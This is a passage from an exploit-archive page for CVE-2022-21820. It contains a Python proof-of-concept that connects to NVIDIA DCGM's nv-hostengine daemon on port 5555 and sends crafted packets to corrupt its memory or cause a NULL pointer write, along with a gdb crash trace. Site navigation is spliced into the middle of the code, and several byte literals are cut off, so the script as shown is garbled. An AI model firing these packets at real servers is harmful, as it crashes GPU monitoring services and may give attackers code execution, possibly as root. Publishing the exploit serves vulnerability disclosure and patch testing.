NVIDIA Data Center GPU Manager Remote Memory Corruption

Authored by Jeremy Brown

Posted Jun 3, 2022

NVIDIA DCGM runs on machines with NVIDIA GPUs to gather telemetry and GPU health data. nv-hostengine is a daemon that by default listens on the loopback interface, but can also listen on the network for requests coming in on port 5555 (remote mgmt). A native client named DCGMI allows users to make requests to the daemon to support a variety of functions. Malformed packets can cause the daemon (running as root or user account) to crash or potentially result in code execution. Versions less than 2.3.5 are affected.

tags | exploit, remote, root, code execution
advisories | CVE-2022-21820
SHA-256 | 2b77e249b980c3871a0f2ac4cb6decec29e1672c0858391ed0910b4b6867f9f3 **Download** | **Favorite** | **View**

Related Files

Share This

Change Mirror Download

```
#!/usr/bin/python3
# -*- coding: UTF-8 -*-
#
# heart.py
#
# NVIDIA Data Center GPU Manager Remote Memory Corruption Vulnerability
#
# Jeremy Brown [jbrown3264/gmail]
#
# NVIDIA DCGM runs on machines with NVIDIA GPUs to gather telemetry and GPU health
# data. nv-hostengine is a daemon that by default listens on the loopback interface,
# but can also listen on the network for requests coming in on port 5555 (remote mgmt).
# A native client named DCGMI allows users to make requests to the daemon to support
# a variety of functions. Malformed packets can cause the daemon (running as root
# or user account) to crash or potentially result in code execution.
#
# More info: https://docs.nvidia.com/datacenter/dcgm/latest/index.html
#
# Tested on Ubuntu 20.04 x64 with package datacenter-gpu-manager v2.3.1 (< v2.3.5 affected)
#
# $ ./heart.py 10.0.0.201 --trigger pkt3-mem
#
# $ gdb `which nv-hostengine`
# (gdb) r -b ALL -n
# nv-hostengine running as non-root. Some functionality will be limited.
# Started host engine version 2.3.1 using port number: 5555
# ...
# Thread 2 "nv-hostengine" received signal SIGSEGV, Segmentation fault.
#
# (gdb) i r
# rax            0x7ffbb3dbd010      140719031046160
# rbx            0x7ffff771ac70      140737344810096
# rcx            0x7ffbb3dbd010      140719031046160
# rdx            0x424242420         17786217504
# rsi            0x7ffff771aee4      140737344810724
# rdi            0x7ffbb3dbd010      140719031046160
# rbp            0x7ffff771ac40      0x7ffff771ac40
# rsp            0x7ffff771abe8      0x7ffff771abe8
# r8             0x424242420         17786217504
# r9             0x0                 0
# r10            0x7ffbb3dbd010      140719031046160
#
# CVE-2022-21820
#

import os
import sys
import argparse
import time
import shutil
import signal
import socket

DEFAULT_PORT = 5555

PKT_START = b'\xad\xbc\xbc\xad'

#
# Trigger #1: Memory Corruption via malformed packet 3
#
TRIGGER_ONE_PKT_1 = PKT_START + \

b'\x01\x00\x00\x00\x11\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\x0f\x08\x03\x10\x03\x18\x00\x28\x00\x42\x

TRIGGER_ONE_PKT_2 = PKT_START + \

b'\x01\x00\x00\x00\x1a\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x0a\x18\x08\x03\x10\x03\x18\x00\x28\x00\x42\x
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat 186 files
Ubuntu 52 files
Gentoo 44 files
Debian 27 files
Apple 25 files
Google Security Research 14 files
malvuln 10 files
nu11secur1ty 6 files
mjurczyk 4 files
George Tsimpidas 3 files

File Tags

ActiveX (932)
Advisory (79,557)
Arbitrary (15,643)
BBS (2,859)
Bypass (1,615)
CGI (1,015)
Code Execution (6,913)
Conference (672)
Cracker (840)
CSRF (3,288)
DoS (22,541)
Encryption (2,349)
Exploit (50,293)
File Inclusion (4,162)
File Upload (946)
Firewall (821)
Info Disclosure (2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX (426)
Apple (1,926)

```
# 0x84 maps to 'B' here and crashes with rdx/r8=0x424242420
TRIGGER_ONE_PKT_3 = PKT_START + \

b'\x03\x00\x00\x00\x3a\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\xb7\x06\x08\x38\x10\x03\x18\x00\x28\x00\x
 + \
                    b'\x84' * 51 + \
                    b'\x00' * 488 + \

b'\x19\x00\x00\x00\x9e\x00\x9f\x00\xa4\x00\xa0\x00\xa3\x00\xa2\x00\xa1\x00\x82\x00\x36\x00\x55\x00\x52\x00\x33\x
 + \
                    b'\x00' * 207 + \
                    b'\x01\x00\x00\x00'

#
# Trigger #2: NULL ptr write via malformed packet 4
#
TRIGGER_TWO_PKT_1 = TRIGGER_ONE_PKT_1

TRIGGER_TWO_PKT_2 = TRIGGER_ONE_PKT_2

TRIGGER_TWO_PKT_3 = PKT_START + \

b'\x03\x00\x00\x00\x3a\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\xb7\x06\x08\x38\x10\x03\x18\x00\x28\x00\x
 + \
                    b'\x00' * 12 + \
                    b'\x01\x00\x00\x00\x01' + \
                    b'\x00' * 523 + \

b'\x19\x00\x00\x00\x9e\x00\x9f\x00\xa4\x00\xa0\x00\xa3\x00\xa2\x00\xa1\x00\x82\x00\x36\x00\x55\x00\x52\x00\x33\x
 + \
                    b'\x00' * 207 + \
                    b'\x01\x00\x00\x00'

# 0x79 triggers crash
TRIGGER_TWO_PKT_4 = PKT_START + \

b'\x04\x00\x00\x00\x1c\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\x1a\x08\x04\x10\x03\x18' + \
                    b'\xff' * 9 + \
                    b'\x01' + \
                    b'\x79' + \
                    b'\x00\x42\x07\xd2\x01\x04\x08\x03\x10\x00'

class Heart(object):
    def __init__(self, args):
        self.host = args.host
        self.trigger = args.trigger

    def run(self):
        if(self.trigger == None):
            print("error: choose which bug use via --trigger")
            return -1

        sock = self.getSock()

        if(sock == None):
            return -1

        try:
            sock.connect((self.host, DEFAULT_PORT))
        except Exception as error:
            print("connect() failed: %s\n" % error)
            return -1

        if(self.trigger == 'pkt3_mem'):
            if(self.sendPacket(sock, TRIGGER_ONE_PKT_1) < 0):
                print("failed to send/recv packet 1\n")
                return -1

            if(self.sendPacket(sock, TRIGGER_ONE_PKT_2) < 0):
                print("failed to send/recv packet 2\n")
                return -1

            if(self.sendPacket(sock, TRIGGER_ONE_PKT_3) < 0):
                print("failed to send/recv packet 3\n")
                return -1

        if(self.trigger == 'pkt4_null'):
            if(self.sendPacket(sock, TRIGGER_TWO_PKT_1) < 0):
                print("failed to send/recv packet 1\n")
                return -1

            if(self.sendPacket(sock, TRIGGER_TWO_PKT_2) < 0):
                print("failed to send/recv packet 2\n")
                return -1

            if(self.sendPacket(sock, TRIGGER_TWO_PKT_3) < 0):
                print("failed to send/recv packet 3\n")
                return -1

            if(self.sendPacket(sock, TRIGGER_TWO_PKT_4) < 0):
                print("failed to send/recv packet 4\n")
                return -1

        print("done\n")

        return 0

    def getSock(self):
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(2)
        except Exception as error:
            print("socket() failed: %s\n" % error)
            return None

        return sock

    def sendPacket(self, sock, pkt):
        try:
            sock.send(pkt)
        except Exception as error:
            print("socket send error: %s\n" % error)
            return -1

        try:
            sock.recv(256)
        except Exception as error:
```

```
            # print("socket recv error: %s\n" % error)
            return 0 # expected for pkt3_mem

        return 0

def signalExit(signum, frame):
    sys.exit(-1)

def arg_parse():
    parser = argparse.ArgumentParser()

    parser.add_argument("host",
                        type=str,
                        help="target host")

    parser.add_argument("--trigger",
                        "--trigger",
              type=str,
              choices=['pkt3_mem', 'pkt4_null'],
              help="which bug to trigger")

    args = parser.parse_args()

    return args

def main():
    signal.signal(signal.SIGINT, signalExit)

    args = arg_parse()

    rh = Heart(args)

    result = rh.run()

    if(result > 0):
        sys.exit(-1)

if(__name__ == '__main__'):
    main()
```